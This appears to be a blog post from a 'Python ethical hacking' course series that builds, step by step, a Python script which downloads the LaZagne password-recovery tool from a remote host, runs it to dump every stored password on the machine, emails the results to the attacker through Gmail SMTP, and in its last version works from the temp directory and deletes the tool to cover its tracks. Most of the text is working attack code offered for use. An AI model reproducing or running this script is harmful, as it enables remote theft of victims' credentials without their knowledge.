python hacking_Python Ethical Hacking - Malware Analysis(4)

DOWNLOAD_FILE

Download files on a system.

Once packaged properly will work on all operating systems.

Simple but powerfull.

Can be used in many situations:

download _file + execute_command = download_and_execute

download_file + execute_and_report = download_execute_and_report

...etc

#!/usr/bin/env python

import requests

def download(url):

get_response = requests.get(url)

file_name = url.split("/")[-1]

with open(file_name, "wb") as out_file:

out_file.write(get_response.content)

download("https://cdn.spacetelescope.org/archives/images/screen/potw1739a.jpg")

471547cbe7a4b56ba4e095058ed42d24.png

DOWNLOAD_EXECUTE_AND_REPORT

Download files on a system.

Execute a command that uses this file.

Report results in our email.

Cross multi-Platform!!

Ex: remotely steal all stored passwords on a computer!

Using the LaZagne tool:https://github.com/AlessandroZ/LaZagne

lazagne.exe --help

7ab5f53885be3b1fa07236e71bfb97c1.png

Use the following command to find all the passwords in the current system.

lazagne.exe all

5596aa1095bde3f9ca77554e70d15a1a.png

Steal saved passwords remotely

#!/usr/bin/env python

import requests

import smtplib

import subprocess

def download(url):

get_response = requests.get(url)

file_name = url.split("/")[-1]

with open(file_name, "wb") as out_file:

out_file.write(get_response.content)

def send_mail(email, password, message):

server = smtplib.SMTP("smtp.gmail.com", 587)

server.starttls()

server.login(email, password)

server.sendmail(email, email, message)

server.quit()

download("http://10.0.0.43/evil-files/lazagne.exe")

result = subprocess.check_output("lazagne.exe all", shell=True)

print(result.decode())

send_mail("[email protected]", "1111111", result)

e46635f481cb188401f62fe42b430dbb.png

Optimize the Python Script - Interacting with the file system. The evil file will be downloaded in the temp directory and removed after executed.

#!/usr/bin/env python

import os

import smtplib

import subprocess

import requests

import tempfile

def download(url):

get_response = requests.get(url)

file_name = url.split("/")[-1]

with open(file_name, "wb") as out_file:

out_file.write(get_response.content)

def send_mail(email, password, message):

server = smtplib.SMTP("smtp.gmail.com", 587)

server.starttls()

server.login(email, password)

server.sendmail(email, email, message)

server.quit()

temp_directory = tempfile.gettempdir()

os.chdir(temp_directory)

download("http://10.0.0.43/evil-files/lazagne.exe")

result = subprocess.check_output("lazagne.exe all", shell=True)

print(result.decode())

send_mail("[email protected]", "1111111", result)

os.remove("lazagne.exe")

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值